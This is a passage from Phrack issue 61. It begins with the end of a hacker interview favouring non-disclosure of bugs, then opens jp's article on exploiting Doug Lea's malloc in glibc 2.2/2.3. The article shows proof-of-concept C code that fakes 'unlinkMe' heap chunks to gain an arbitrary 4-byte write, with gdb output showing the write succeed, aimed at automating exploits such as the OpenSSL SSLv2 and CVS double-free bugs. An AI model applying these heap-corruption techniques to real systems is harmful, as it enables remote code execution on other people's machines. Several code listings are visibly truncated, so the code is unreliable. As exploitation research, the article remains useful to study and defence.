didn't do anything except relax and drink beer and eat some BBQ. We also enjoyed a very nice viewing of bad boy bubby which I recommend to anyone that wants a good laugh and some insight into the world of jimjones(based on his lifes story). |=---=[ Open Interview [can give as much detailed answers here as you like] Q: When did you start to play with computers? A: I was probably around 12 years old when I got my first real computer. Q: When did you had your first contact to the 'scene'? A: Boy... I guess it is probably sometime in 1995 and I got involved with some "hackers" doing some questionable things ;> I think I started off by joining #hack on IRCnet and also #shells on efnet(ehrm! ;>) Q: When did you for your first time connect to the internet? A: Was at my school when I was probably around 13 years old and we had a 2400 baud modem and some old dial up program called kermit, i think, that we used to call some line at the Icelandic university. It was basically just a direct connection to a hp-ux box and someone tought me how to use ircii and so basically my first experience with the Internet was also my first time with irc. Q: What other hobbies do you have? A: I like to do stuff with my friends,go see movies, fish, read, go out for drinks, and just anything that comes up. Q: ...and how long did it take until you joined irc? Do you remember the first channel you joined? A: Again this was not very far between since I started irc pretty much the same time. I believe the first channel I joined was #iceland. Q: What's your architecture / OS of choice? A: Im so used to intel so I really can't pick anything else and Linux is still my preferred OS although i have netbsd here somewhere. Q: What do you think about anti.security.is and non-disclosure? A: anti security was a good idea but ultimately it was a failure. The reason it failed was that the people that supported none-disclosure and took part in antisec discussions were constantly arguing amongst themselves about a lot of stuff some of which was for good reasons but also stuff that was totally out there and eventually it lead to antisec dying. I personally believe that none-disclosure is the way to go and I have believed that for some time now. I don't judge people that disclose because I remember disclosing bugs/exploits at one point and so I am not really in a position to flame people that continue to do so. I mean antisec also had some stupid information in some areas specifcally about the true reasons behind antisec were not to create some greater security in the world or something like that which was mentioned in the FAQ and we took a lot of crap for. It was to keep security research where it belongs, with those that actually did it and at most a small tight knit group. That basically meant that people that found bugs, wrote exploits, and hacked wanted to keep their exploits/research private so that they had some nice private warez for some time ;> Full disclosure is for equally selfish reasons because it really boils down to two things: fame and money. People think, rightly so, that by releasing bugs or exploits that they become recognized among their peers and that might eventually lead to a job in security or something like that. People that say they release bugs/exploits for the good of the world or something like that are full of shit. Q: What do you think about the right of other 'research' groups to forbid other organizations the use of their exploits ("Copyright on exploits")? A: Seriously who would care about a copyright header on some exploit? People would use it anyways. Q: What do you thing about full-disclosure. Is it important or dangerous? A: I know I don't like it and there are a lot of good reasons why it sucks. It ruins bugs! ;> And there are some negative "world issues" because every hacker that wants to make a name for himself will try to write an exploit for it and subsequently release it. Maybe he doesn't release directly to BUGTRAQ but he gives it to lots of "friends" which leak it of course and soon enough its everywhere. What happens next is that every script kiddie and some more advanced script kiddies will use the exploit and deface sites, ruin stuff, and then soon a worm will appear. I do not personally have anything against those things per se but I'm sure a lot of people do. If the vulnerability is unknown or kept private such things would not happen. Full disclosure can definetly be really dangerous and we all know that the people that discover bugs in software aren't on some quest to secure software for the good of the world. They do it for themselves. Also why should hackers do the job for software companies and even if they publish they risk getting sued or something? I also hate all those full disclosure policies that say you need to give a vendor a month or something before publishing and all the other stupid rules. My advice: don't disclose - avoid the hassle. I do however agree to some of the arguments about the necessity of full disclosure. I can't remember any right now so forget that but ultimately full disclosure of any vulnerability is the fuel the drives the information security companies that don't care about anything except their bottom line. Q: If you see or hear about various protection meassures against hackers such as grsecurity, PaX, Owl or strong encryption (SSH, SSL or IPSec) do you think hacking will still be possible in the future? What kind of vulnerabilities will people focus on in the future? A: If we assume that all these programs are successful in stopping most buffer overflow attacks and it has become 'impossible' to evade these programs then just new types of vulnerabilities will be discovered. Logic bugs in programs are just as dangerous as buffer overflows and so hacking will of course be possible in the future the only thing that will change are the vulnerabilities and the methods. Q: How do you feel when yet another XSS vulnerability hits the media? (Do you have a regex covering XSS postings in your spam filter?) A: blah Q: What will hacking in the future look like? More complicated or easier? A: no idea. Q: You have been in the scene for quite a while. If you look back, what was the worst thing that happened to the scene? What was the best that happened? A: This "scene" always comes up. I never followed any specific scene or anything. I was just chatting with my friends and hacking with them and that was about it. Although I guess the commericialization of everything in the scene was probably the worst thing that happened. Didn't bugtraq get sold for millions of dollars? A mailing list! And companies buying exploits how low can u get? Q: If you could turn the clock backwards, what would you do different in your young life ? A: My young life? Portal calls me grandpa. I guess I would go back a few years into the past and avoid losing contact with my old friends. =---=[ One word comments [give a 1-word comment to each of the words on the left] Digital Millennium Copyright Act (DMCA): blabla security.is : sleeping Georges. W. BUSH : war Companies buying exploits from hackers : silly IRC : burp Hacker meetings : colorful Full Disclosure Policy : pseudo anti.security.is : dead Whitehats : dingdong |=---=[ Any suggestions/comments/flames to the scene and/or specific people? Do what you want to do and don't let anyone control you. |=---=[ The future of the computer underground What is the computer underground anyways? People talk about it as if it were some very formal and controlled thing or something. The computer underground as I understand it basically just consists of various groups and places people hang out at and talk and do stuff together in small seperate groups. I have no idea where it is gona go in the future. |=---=[ Shoutouts & Greetings I wana send a big hello to: security.is, antilove(miss u bro), crazy-b(beware of hermaphrodites), cleb(rest in peace man), old ADM pals, JimJones, old #hax guys! stealth, sk8(freesk8.org), mikasoft, ga, ace24, ig-88, ghettodxm, scut, horizon, duke, cheez, starcon, lkm, nitro, bawd, wtf, kewl, joey, Synner/m0nty/Kod/Jackal(crazy greeks) and everyone of my other old friends that I haven't talked to in years. |=[ EOF ]=---------------------------------------------------------------=| ==Phrack Inc.== Volume 0x0b, Issue 0x3d, Phile #0x06 of 0x0f |=--------------[ Advanced Doug lea's malloc exploits ]-----------------=| |=----------------------------------------------------------------------=| |=-----------------------[ jp ]-------------------------=| |=----------------------------------------------------------------------=| 1 - Abstract 2 - Introduction 3 - Automating exploitation problems 4 - The techniques 4.1 - aa4bmo primitive 4.1.1 - First unlinkMe chunk 4.1.1.1 - Proof of concept 1: unlinkMe chunk 4.1.2 - New unlinkMe chunk 4.2 - Heap layout analysis 4.2.1 - Proof of concept 2: Heap layout debugging 4.3 - Layout reset - initial layout prediction - server model 4.4 - Obtaining information from the remote process 4.4.1 - Modifying server static data - finding process' DATA 4.4.2 - Modifying user input - finding shellcode location 4.4.2.1 - Proof of concept 3 : Hitting the output 4.4.3 - Modifying user input - finding libc's data 4.4.3.1 - Proof of concept 4 : Freeing the output 4.4.4 - Vulnerability based heap memory leak - finding libc's DATA 4.5 - Abusing the leaked information 4.5.1 - Recognizing the arena 4.5.2 - Morecore 4.5.2.1 - Proof of concept 5 : Jumping with morecore 4.5.3 - Libc's GOT bruteforcing 4.5.3.1 - Proof of concept 6 : Hinted libc's GOT bruteforcing 4.5.4 - Libc fingerprinting 4.5.5 - Arena corruption (top, last remainder and bin modification) 4.6 - Copying the shellcode 'by hand' 5 - Conclusions 6 - Thanks 7 - References Appendix I - malloc internal structures overview --------------------------------------------------------------------------- --[ 1. Abstract This paper details several techniques that allow more generic and reliable exploitation of processes that provide us with the ability to overwrite an almost arbitrary 4 byte value at any location. Higher level techniques will be constructed on top of the unlink() basic technique (presented in MaXX's article [2]) to exploit processes which allow an attacker to corrupt Doug Lea's malloc (Linux default's dynamic memory allocator). unlink() is used to force specific information leaks of the target process memory layout. The obtained information is used to exploit the target without any prior knowledge or hardcoded values, even when randomization of main object's and/or libraries' load address is present. Several tricks will be presented along different scenarios, including: * special chunks crafting (cushion chunk and unlinkMe chunk) * heap layout consciousness and analysis using debugging tools * automatically finding the injected shellcode in the process memory * forcing a remote process to provide malloc's internal structures addresses * looking for a function pointer within glibc * injecting the shellcode into a known memory address The combination of these techniques allows to exploit the OpenSSL 'SSLv2 Malformed Client Key Buffer Overflow' [6] and the CVS 'Directory double free' [7] vulnerabilities in a fully automated way (without hardcoding any target based address or offset), for example. --------------------------------------------------------------------------- --[ 2. Introduction Given a vulnerability which allows us to corrupt malloc's internal structures (i.e. heap overflow, double free(), etc), we can say it 'provides' us with the ability to perform at least an 'almost arbitrary 4 bytes mirrored overwrite' primitive (aa4bmo from now on). We say it's a 'mirrored' overwrite as the location we are writing at minus 8 will be stored in the address given by the value we are writing plus 12. Note we say almost arbitrary as we can only write values that are writable, as a side effect of the mirrored copy. The 'primitive' concept was previously introduced in the 'Advances in format string exploitation' paper [4] and in the 'About exploits writing' presentation [5]. Previous work 'Vudo - An object superstitiously believed to embody magical power' by Michel 'MaXX' Kaempf [2] and 'Once upon a free()' [3] give fully detailed explanations on how to obtain the aa4bmo primitive from a vulnerability. At [8] and [9] can be found the first examples of malloc based exploitation. We'll be using the unlink() technique from [2] as the basic lower level mechanism to obtain the aa4bmo primitive, which we'll use through all the paper to build higher level techniques. malloc higher vulnerability -> structures -> primitive -> level corruption techniques --------------------------------------------------------------------------- heap overflow unlink() freeing the output double free() -> technique -> aa4bmo -> hitting the output ... cushion chunk ... This paper focuses mainly on the question that arises after we reach the aa4bmo primitive: what should we do once we know a process allows us to overwrite four bytes of its memory with almost any arbitrary data? In addition, tips to reach the aa4bmo primitive in a reliable way are explained. Although the techniques are presented in the context of malloc based heap overflow exploitation, they can be employed to aid in format string exploits as well, for example, or any other vulnerability or combination of them, which provide us with similar capabilities. The research was focused on the Linux/Intel platform; glibc-2.2.4, glibc-2.2.5 and glibc-2.3 sources were used, mainly the file malloc.c (an updated version of malloc can be found at [1]). Along this paper we'll use 'malloc' to refer to Doug Lea's malloc based implementation. --------------------------------------------------------------------------- --] 3. Automating exploitation problems When trying to answer the question 'what should we do once we know we can overwrite four bytes of the process memory with almost any arbitrary data?', we face several problems: A] how can we be sure we are overwriting the desired bytes with the desired bytes? As the aa4bmo primitive is the underlying layer that allows us to implement the higher level techniques, we need to be completely sure it is working as expected, even when we know we won't know where our data will be located. Also, in order to be useful, the primitive should not crash the exploited process. B] what should we write? We may write the address of the code we intend to execute, or we may modify a process variable. In case we inject our shellcode in the process, we need to know its location, which may vary together with the evolving process heap/stack layout. C] where should we write? Several known locations can be overwritten to modify the execution flow, including for example the ones shown in [10], [11], [12] and [14]. In case we are overwriting a function pointer (as when overwriting a stack frame, GOT entry, process specific function pointer, setjmp/longjmp, file descriptor function pointer, etc), we need to know its precise location. The same happens if we plan to overwrite a process variable. For example, a GOT entry address may be different even when the source code is the same, as compilation and linking parameters may yield a different process layout, as happens with the same program source code compiled for different Linux distributions. Along this paper, our examples will be oriented at overwriting a function pointer with the address of injected shellcode. However, some techniques also apply to other cases. Typical exploits are target based, hardcoding at least one of the values required for exploitation, such as the address of a given GOT entry, depending on the targeted daemon version and the Linux distribution and release version. Although this simplifies the exploitation process, it is not always feasible to obtain the required information (i.e. a server can be configured to lie or to not disclose its version number). Besides, we may not have the needed information for the target. Bruteforcing more than one exploit parameter may not always be possible, if each of the values can't be obtained separately. There are some well known techniques used to improve the reliability (probability of success) of a given exploit, but they are only an aid for improving the exploitation chances. For example, we may pad the shellcode with more nops, we may also inject a larger quantity of shellcode in the process (depending on the process being exploited) inferring there are more possibilities of hitting it that way. Although these enhancements will improve the reliability of our exploit, they are not enough for an exploit to work always on any vulnerable target. In order to create a fully reliable exploit, we'll need to obtain both the address where our shellcode gets injected and the address of any function pointer to overwrite. In the following, we discuss how these requirements may be accomplished in an automated way, without any prior knowledge of the target server. Most of the article details how we can force a remote process to leak the required information using aa4bmo primitive. --------------------------------------------------------------------------- --] 4. The techniques --] 4.1 aa4bmo primitive --] 4.1.1 First unlinkMe chunk In order to be sure that our primitive is working as expected, even in scenarios where we are not able to fully predict the location of our injected fake chunk, we build the following 'unlinkMe chunk': -4 -4 what where-8 -11 -15 -19 ... |--------|--------|--------|--------|--------|--------|--------|... sizeB sizeA FD BK ----------- nasty chunk -----------|--------|--------------------> (X) We just need a free() call to hit our block after the (X) point to overwrite 'where' with 'what'. When free() is called the following sequence takes place: - chunk_free() tries to look for the next chunk, it takes the chunk's size (<0) and adds it to the chunk address, obtaining always the sizeA of the 'nasty chunk' as the start of the next chunk, as all the sizes after the (X) are relative to it. - Then, it checks the prev_inuse bit of our chunk, but as we set it (each of the sizes after the (X) point has the prev_inuse bit set, the IS_MMAPPED bit is not set) it does not try to backward consolidate (because the previous chunk 'seems' to be allocated). - Finally, it checks if the fake next chunk (our nasty chunk) is free. It takes its size (-4) to look for the next chunk, obtaining our fake sizeB, and checks for the prev_inuse flag, which is not set. So, it tries to unlink our nasty chunk from its bin to coalesce it with the chunk being freed. - When unlink() is called, we get the aa4bmo primitive. The unlink() technique is described in [2] and [3]. --] 4.1.1.1 Proof of concept 1: unlinkMe chunk We'll use the following code to show in a simple way the unlinkMe chunk in action: #define WHAT_2_WRITE 0xbfffff00 #define WHERE_2_WRITE 0xbfffff00 #define SZ 256 #define SOMEOFFSET 5 + (rand() % (SZ-1)) #define PREV_INUSE 1 #define IS_MMAP 2 int main(void){ unsigned long *unlinkMe=(unsigned long*)malloc(SZ*sizeof(unsigned long)); int i = 0; unlinkMe[i++] = -4; unlinkMe[i++] = -4; unlinkMe[i++] = WHAT_2_WRITE; unlinkMe[i++] = WHERE_2_WRITE-8; for(;imutex); 3205 chunk_free(ar_ptr, p); After some checks, we reach chunk_free(). (gdb) s chunk_free (ar_ptr=0x40018040, p=0x8049874) at heapy.c:3221 Let's see how does our chunk looks at a random location... (gdb) x/20x p 0x8049874: 0xfffffd71 0xfffffd6d 0xfffffd69 0xfffffd65 0x8049884: 0xfffffd61 0xfffffd5d 0xfffffd59 0xfffffd55 0x8049894: 0xfffffd51 0xfffffd4d 0xfffffd49 0xfffffd45 0x80498a4: 0xfffffd41 0xfffffd3d 0xfffffd39 0xfffffd35 0x80498b4: 0xfffffd31 0xfffffd2d 0xfffffd29 0xfffffd25 We dumped the chunk including its header, as received by chunk_free(). 3221 INTERNAL_SIZE_T hd = p->size; /* its head field */ 3235 sz = hd & ~PREV_INUSE; (gdb) p/x hd $5 = 0xfffffd6d (gdb) p/x sz $6 = 0xfffffd6c 3236 next = chunk_at_offset(p, sz); 3237 nextsz = chunksize(next); Using the negative relative size, chunk_free() gets the next chunk, let's see which is the 'next' chunk: (gdb) x/20x next 0x80495e0: 0xfffffffc 0xfffffffc 0xbfffff00 0xbffffef8 0x80495f0: 0xfffffff5 0xfffffff1 0xffffffed 0xffffffe9 0x8049600: 0xffffffe5 0xffffffe1 0xffffffdd 0xffffffd9 0x8049610: 0xffffffd5 0xffffffd1 0xffffffcd 0xffffffc9 0x8049620: 0xffffffc5 0xffffffc1 0xffffffbd 0xffffffb9 (gdb) p/x nextsz $7 = 0xfffffffc It's our nasty chunk... 3239 if (next == top(ar_ptr)) /* merge with top */ 3278 islr = 0; 3280 if (!(hd & PREV_INUSE)) /* consolidate backward */ We avoid the backward consolidation, as we set the PREV_INUSE bit. 3294 if (!(inuse_bit_at_offset(next, nextsz))) /* consolidate forward */ But we force a forward consolidation. The inuse_bit_at_offset() macro adds nextsz (-4) to our nasty chunk's address, and looks for the PREV_INUSE bit in our other -4 size. 3296 sz += nextsz; 3298 if (!islr && next->fd == last_remainder(ar_ptr)) 3306 unlink(next, bck, fwd); unlink() is called with our supplied values: 0xbffffef8 and 0xbfffff00 as forward and backward pointers (it does not crash, as they are valid addresses). next = chunk_at_offset(p, sz); 3315 set_head(p, sz | PREV_INUSE); 3316 next->prev_size = sz; 3317 if (!islr) { 3318 frontlink(ar_ptr, p, sz, idx, bck, fwd); fronlink() is called and our chunk is inserted in the proper bin. --- BIN DUMP --- arena @ 0x40018040 - top @ 0x8049a40 - top size = 0x05c0 bin 126 @ 0x40018430 free_chunk @ 0x80498d8 - size 0xfffffd64 The chunk was inserted into one of the bigger bins... as a consequence of its 'negative' size. The process won't crash if we are able to maintain this state. If more calls to free() hit our chunk, it won't crash. But it will crash in case a malloc() call does not find any free chunk to satisfy the allocation requirement and tries to split one of the bins in the bin number 126, as it will try to calculate where is the chunk after the fake one, getting out of the valid address range because of the big 'negative' size (this may not happen in a scenario where there is enough memory allocated between the fake chunk and the top chunk, forcing this layout is not very difficult when the target server does not impose tight limits to our requests size). We can check the results of the aa4bmo primitive: (gdb) x/20x 0xbfffff00 !!!!!!!!!! !!!!!!!!!! 0xbfffff00: 0xbfffff00 0x414c0065 0x653d474e 0xbffffef8 0xbfffff10: 0x6f73692e 0x39353838 0x53003531 0x415f4853 0xbfffff20: 0x41504b53 0x2f3d5353 0x2f727375 0x6562696c 0xbfffff30: 0x2f636578 0x6e65706f 0x2f687373 0x6d6f6e67 0xbfffff40: 0x73732d65 0x73612d68 0x7361706b 0x4f480073 If we add some bogus calls to free() in the following way: for(i=0;i<5;i++) free(unlinkMe+SOMEOFFSET); we obtain the following result for example: --- BIN DUMP --- arena @ 0x40018040 - top @ 0x8049ac0 - top size = 0x0540 bin 126 @ 0x40018430 free_chunk @ 0x8049958 - size 0x8049958 free_chunk @ 0x8049954 - size 0xfffffd68 free_chunk @ 0x8049928 - size 0xfffffd94 free_chunk @ 0x8049820 - size 0x40018430 free_chunk @ 0x80499c4 - size 0xfffffcf8 free_chunk @ 0x8049818 - size 0xfffffea4 without crashing the process. --] 4.1.2 New unlinkMe chunk Changes introduced in newer libc versions (glibc-2.3 for example) affect our unlinkMe chunk. The main problem for us is related to the addition of one flag bit more. SIZE_BITS definition was modified, from: #define SIZE_BITS (PREV_INUSE|IS_MMAPPED) to: #define SIZE_BITS (PREV_INUSE|IS_MMAPPED|NON_MAIN_ARENA) The new flag, NON_MAIN_ARENA is defined like this: /* size field is or'ed with NON_MAIN_ARENA if the chunk was obtained from a non-main arena. This is only set immediately before handing the chunk to the user, if necessary. */ #define NON_MAIN_ARENA 0x4 This makes our previous unlinkMe chunk to fail in two different points in systems using a newer libc. Our first problem is located within the following code: public_fREe(Void_t* mem) { ... ar_ptr = arena_for_chunk(p); ... _int_free(ar_ptr, mem); ... where: #define arena_for_chunk(ptr) \ (chunk_non_main_arena(ptr) ? heap_for_ptr(ptr)->ar_ptr : &main_arena) and /* check for chunk from non-main arena */ #define chunk_non_main_arena(p) ((p)->size & NON_MAIN_ARENA) If heap_for_ptr() is called when processing our fake chunk, the process crashes in the following way: 0x42074a04 in free () from /lib/i686/libc.so.6 1: x/i $eip 0x42074a04 : and $0x4,%edx (gdb) x/20x $edx 0xffffffdd: Cannot access memory at address 0xffffffdd 0x42074a07 in free () from /lib/i686/libc.so.6 1: x/i $eip 0x42074a07 : je 0x42074a52 0x42074a09 in free () from /lib/i686/libc.so.6 1: x/i $eip 0x42074a09 : and $0xfff00000,%eax 0x42074a0e in free () from /lib/i686/libc.so.6 1: x/i $eip 0x42074a0e : mov (%eax),%edi (gdb) x/x $eax 0x8000000: Cannot access memory at address 0x8000000 Program received signal SIGSEGV, Segmentation fault. 0x42074a0e in free () from /lib/i686/libc.so.6 1: x/i $eip 0x42074a0e : mov (%eax),%edi So, the fake chunk size has to have its NON_MAIN_ARENA flag not set. Then, our second problem takes places when the supplied size is masked with the SIZE_BITS. Older code looked like this: nextsz = chunksize(next); 0x400152e2 : mov 0x4(%edx),%ecx 0x400152e5 : and $0xfffffffc,%ecx and new code is: nextsize = chunksize(nextchunk); 0x42073fe0 <_int_free+112>: mov 0x4(%ecx),%eax 0x42073fe3 <_int_free+115>: mov %ecx,0xffffffec(%ebp) 0x42073fe6 <_int_free+118>: mov %eax,0xffffffe4(%ebp) 0x42073fe9 <_int_free+121>: and $0xfffffff8,%eax So, we can't use -4 anymore, the smaller size we can provide is -8. Also, we are not able anymore to make every chunk to point to our nasty chunk. The following code shows our new unlinkMe chunk which solves both problems: unsigned long *aa4bmoPrimitive(unsigned long what, unsigned long where,unsigned long sz){ unsigned long *unlinkMe; int i=0; if(sz<13) sz = 13; unlinkMe=(unsigned long*)malloc(sz*sizeof(unsigned long)); // 1st nasty chunk unlinkMe[i++] = -4; // PREV_INUSE is not set unlinkMe[i++] = -4; unlinkMe[i++] = -4; unlinkMe[i++] = what; unlinkMe[i++] = where-8; // 2nd nasty chunk unlinkMe[i++] = -4; // PREV_INUSE is not set unlinkMe[i++] = -4; unlinkMe[i++] = -4; unlinkMe[i++] = what; unlinkMe[i++] = where-8; for(;isize); if(p == top(ar_ptr)) { fprintf(stderr, " (T)\n"); break; } else if(p->size == (0|PREV_INUSE)) { fprintf(stderr, " (Z)\n"); break; } if(inuse(p)) fprintf(stderr," (A)"); else fprintf(stderr," (F) | 0x%8x | 0x%8x |",p->fd,p->bk); if((p->fd==last_remainder(ar_ptr))&&(p->bk==last_remainder(ar_ptr))) fprintf(stderr," (LR)"); else if(p->fd==p->bk & ~inuse(p)) fprintf(stderr," (LC)"); fprintf(stderr,"\n"); p = next_chunk(p); } fprintf(stderr,"sbrk_end %p\n",sbrk_base+sbrked_mem); } static void #if __STD_C heap_layout(arena *ar_ptr) #else heap_layout(ar_ptr) arena *ar_ptr; #endif { mchunkptr p; fprintf(stderr,"\n--- HEAP LAYOUT ---\n"); p = (mchunkptr)(((unsigned long)sbrk_base + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK); for(;;p=next_chunk(p)) { if(p==top(ar_ptr)) { fprintf(stderr,"|T|\n\n"); break; } if((p->fd==last_remainder(ar_ptr))&&(p->bk==last_remainder(ar_ptr))) { fprintf(stderr,"|L|"); continue; } if(inuse(p)) { fprintf(stderr,"|A|"); continue; } fprintf(stderr,"|%lu|",bin_index(p->size)); continue; } } } static void #if __STD_C bin_dump(arena *ar_ptr) #else bin_dump(ar_ptr) arena *ar_ptr; #endif { int i; mbinptr b; mchunkptr p; fprintf(stderr,"\n--- BIN DUMP ---\n"); (void)mutex_lock(&ar_ptr->mutex); fprintf(stderr,"arena @ %p - top @ %p - top size = 0x%.4x\n", ar_ptr,top(ar_ptr),chunksize(top(ar_ptr))); for (i = 1; i < NAV; ++i) { char f = 0; b = bin_at(ar_ptr, i); for (p = last(b); p != b; p = p->bk) { if(!f){ f = 1; fprintf(stderr," bin %d @ %p\n",i,b); } fprintf(stderr," free_chunk @ %p - size 0x%.4x\n", p,chunksize(p)); } (void)mutex_unlock(&ar_ptr->mutex); fprintf(stderr,"\n"); } --] 4.2.1 Proof of concept 2: Heap layout debugging We'll use the following code to show how the debug functions help to analyse the heap layout: #include int main(void){ void *curly,*larry,*moe,*po,*lala,*dipsi,*tw,*piniata; curly = malloc(256); larry = malloc(256); moe = malloc(256); po = malloc(256); lala = malloc(256); free(larry); free(po); tw = malloc(128); piniata = malloc(128); dipsi = malloc(1500); free(dipsi); free(lala); } The sample debugging section helps to understand malloc's basic algorithms and data structures: (gdb) set env LD_PRELOAD ./heapy.so We override the real malloc with our debugging functions, heapy.so also includes the heap layout dumping functions. (gdb) r Starting program: /home/jp/cerebro/heapy/debugging_sample 4 curly = malloc(256); [1679] MALLOC(256) - CHUNK_ALLOC(0x40018040,264) extended top chunk: previous size 0x0 new top 0x80496a0 size 0x961 returning 0x8049598 from top chunk (gdb) p heap_dump(0x40018040) --- HEAP DUMP --- ADDRESS SIZE FD BK sbrk_base 0x8049598 chunk 0x8049598 0x0109 (A) chunk 0x80496a0 0x0961 (T) sbrk_end 0x804a000 (gdb) p bin_dump(0x40018040) --- BIN DUMP --- arena @ 0x40018040 - top @ 0x80496a0 - top size = 0x0960 (gdb) p heap_layout(0x40018040) --- HEAP LAYOUT --- |A||T| The first chunk is allocated, note the difference between the requested size (256 bytes) and the size passed to chunk_alloc(). As there is no chunk, the top needs to be extended and memory is requested to the operating system. More memory than the needed is requested, the remaining space is allocated to the 'top chunk'. In the heap_dump()'s output the (A) represents an allocated chunk, while the (T) means the chunk is the top one. Note the top chunk's size (0x961) has its last bit set, indicating the previous chunk is allocated: /* size field is or'ed with PREV_INUSE when previous adjacent chunk in use */ #define PREV_INUSE 0x1UL The bin_dump()'s output shows no bin, as there is no free chunk yet, except from the top. The heap_layout()'s output just shows an allocated chunk next to the top. 5 larry = malloc(256); [1679] MALLOC(256) - CHUNK_ALLOC(0x40018040,264) returning 0x80496a0 from top chunk new top 0x80497a8 size 0x859 --- HEAP DUMP --- ADDRESS SIZE FD BK sbrk_base 0x8049598 chunk 0x8049598 0x0109 (A) chunk 0x80496a0 0x0109 (A) chunk 0x80497a8 0x0859 (T) sbrk_end 0x804a000 --- BIN DUMP --- arena @ 0x40018040 - top @ 0x80497a8 - top size = 0x0858 --- HEAP LAYOUT --- |A||A||T| A new chunk is allocated from the remaining space at the top chunk. The same happens with the next malloc() calls. 6 moe = malloc(256); [1679] MALLOC(256) - CHUNK_ALLOC(0x40018040,264) returning 0x80497a8 from top chunk new top 0x80498b0 size 0x751 --- HEAP DUMP --- ADDRESS SIZE FD BK sbrk_base 0x8049598 chunk 0x8049598 0x0109 (A) chunk 0x80496a0 0x0109 (A) chunk 0x80497a8 0x0109 (A) chunk 0x80498b0 0x0751 (T) sbrk_end 0x804a000 --- BIN DUMP --- arena @ 0x40018040 - top @ 0x80498b0 - top size = 0x0750 --- HEAP LAYOUT --- |A||A||A||T| 7 po = malloc(256); [1679] MALLOC(256) - CHUNK_ALLOC(0x40018040,264) returning 0x80498b0 from top chunk new top 0x80499b8 size 0x649 --- HEAP DUMP --- ADDRESS SIZE FD BK sbrk_base 0x8049598 chunk 0x8049598 0x0109 (A) chunk 0x80496a0 0x0109 (A) chunk 0x80497a8 0x0109 (A) chunk 0x80498b0 0x0109 (A) chunk 0x80499b8 0x0649 (T) sbrk_end 0x804a000 --- BIN DUMP --- arena @ 0x40018040 - top @ 0x80499b8 - top size = 0x0648 --- HEAP LAYOUT --- |A||A||A||A||T| 8 lala = malloc(256); [1679] MALLOC(256) - CHUNK_ALLOC(0x40018040,264) returning 0x80499b8 from top chunk new top 0x8049ac0 size 0x541 --- HEAP DUMP --- ADDRESS SIZE FD BK sbrk_base 0x8049598 chunk 0x8049598 0x0109 (A) chunk 0x80496a0 0x0109 (A) chunk 0x80497a8 0x0109 (A) chunk 0x80498b0 0x0109 (A) chunk 0x80499b8 0x0109 (A) chunk 0x8049ac0 0x0541 (T) sbrk_end 0x804a000 --- BIN DUMP --- arena @ 0x40018040 - top @ 0x8049ac0 - top size = 0x0540 --- HEAP LAYOUT --- |A||A||A||A||A||T| 9 free(larry); [1679] FREE(0x80496a8) - CHUNK_FREE(0x40018040,0x80496a0) fronlink(0x80496a0,264,33,0x40018148,0x40018148) new free chunk --- HEAP DUMP --- ADDRESS SIZE FD BK sbrk_base 0x8049598 chunk 0x8049598 0x0109 (A) chunk 0x80496a0 0x0109 (F) | 0x40018148 | 0x40018148 | (LC) chunk 0x80497a8 0x0108 (A) chunk 0x80498b0 0x0109 (A) chunk 0x80499b8 0x0109 (A) chunk 0x8049ac0 0x0541 (T) sbrk_end 0x804a000 --- BIN DUMP --- arena @ 0x40018040 - top @ 0x8049ac0 - top size = 0x0540 bin 33 @ 0x40018148 free_chunk @ 0x80496a0 - size 0x0108 --- HEAP LAYOUT --- |A||33||A||A||A||T| A chunk is freed. The frontlink() macro is called to insert the new free chunk into the corresponding bin: frontlink(ar_ptr, new_free_chunk, size, bin_index, bck, fwd); Note the arena address parameter (ar_ptr) was omitted in the output. In this case, the chunk at 0x80496a0 was inserted in the bin number 33 according to its size. As this chunk is the only one in its bin (we can check this in the bin_dump()'s output), it's a lonely chunk (LC) (we'll see later that being lonely makes 'him' dangerous...), its bk and fd pointers are equal and point to the bin number 33. In the heap_layout()'s output, the new free chunk is represented by the number of the bin where it is located. 10 free(po); [1679] FREE(0x80498b8) - CHUNK_FREE(0x40018040,0x80498b0) fronlink(0x80498b0,264,33,0x40018148,0x80496a0) new free chunk --- HEAP DUMP --- ADDRESS SIZE FD BK sbrk_base 0x8049598 chunk 0x8049598 0x0109 (A) chunk 0x80496a0 0x0109 (F) | 0x40018148 | 0x080498b0 | chunk 0x80497a8 0x0108 (A) chunk 0x80498b0 0x0109 (F) | 0x080496a0 | 0x40018148 | chunk 0x80499b8 0x0108 (A) chunk 0x8049ac0 0x0541 (T) sbrk_end 0x804a000 --- BIN DUMP --- arena @ 0x40018040 - top @ 0x8049ac0 - top size = 0x0540 bin 33 @ 0x40018148 free_chunk @ 0x80496a0 - size 0x0108 free_chunk @ 0x80498b0 - size 0x0108 --- HEAP LAYOUT --- |A||33||A||33||A||T| Now, we have two free chunks in the bin number 33. We can appreciate now how the double linked list is built. The forward pointer of the chunk at 0x80498b0 points to the other chunk in the list, the backward pointer points to the list head, the bin. Note that there is no longer a lonely chunk. Also, we can see the difference between a heap address and a libc address (the bin address), 0x080496a0 and 0x40018148 respectively. 11 tw = malloc(128); [1679] MALLOC(128) - CHUNK_ALLOC(0x40018040,136) unlink(0x80496a0,0x80498b0,0x40018148) from big bin 33 chunk 1 (split) new last_remainder 0x8049728 --- HEAP DUMP --- ADDRESS SIZE FD BK sbrk_base 0x8049598 chunk 0x8049598 0x0109 (A) chunk 0x80496a0 0x0089 (A) chunk 0x8049728 0x0081 (F) | 0x40018048 | 0x40018048 | (LR) chunk 0x80497a8 0x0108 (A) chunk 0x80498b0 0x0109 (F) | 0x40018148 | 0x40018148 | (LC) chunk 0x80499b8 0x0108 (A) chunk 0x8049ac0 0x0541 (T) sbrk_end 0x804a000 --- BIN DUMP --- arena @ 0x40018040 - top @ 0x8049ac0 - top size = 0x0540 bin 1 @ 0x40018048 free_chunk @ 0x8049728 - size 0x0080 bin 33 @ 0x40018148 free_chunk @ 0x80498b0 - size 0x0108 --- HEAP LAYOUT --- |A||A||L||A||33||A||T| In this case, the requested size for the new allocation is smaller than the size of the available free chunks. So, the first freed buffer is taken from the bin with the unlink() macro and splitted. The first part is allocated, the remaining free space is called the 'last remainder', which is always stored in the first bin, as we can see in the bin_dump()'s output. In the heap_layout()'s output, the last remainder chunk is represented with a L; in the heap_dump()'s output, (LR) is used. 12 piniata = malloc(128); [1679] MALLOC(128) - CHUNK_ALLOC(0x40018040,136) clearing last_remainder frontlink(0x8049728,128,16,0x400180c0,0x400180c0) last_remainder unlink(0x80498b0,0x40018148,0x40018148) from big bin 33 chunk 1 (split) new last_remainder 0x8049938 --- HEAP DUMP --- ADDRESS SIZE FD BK sbrk_base 0x8049598 chunk 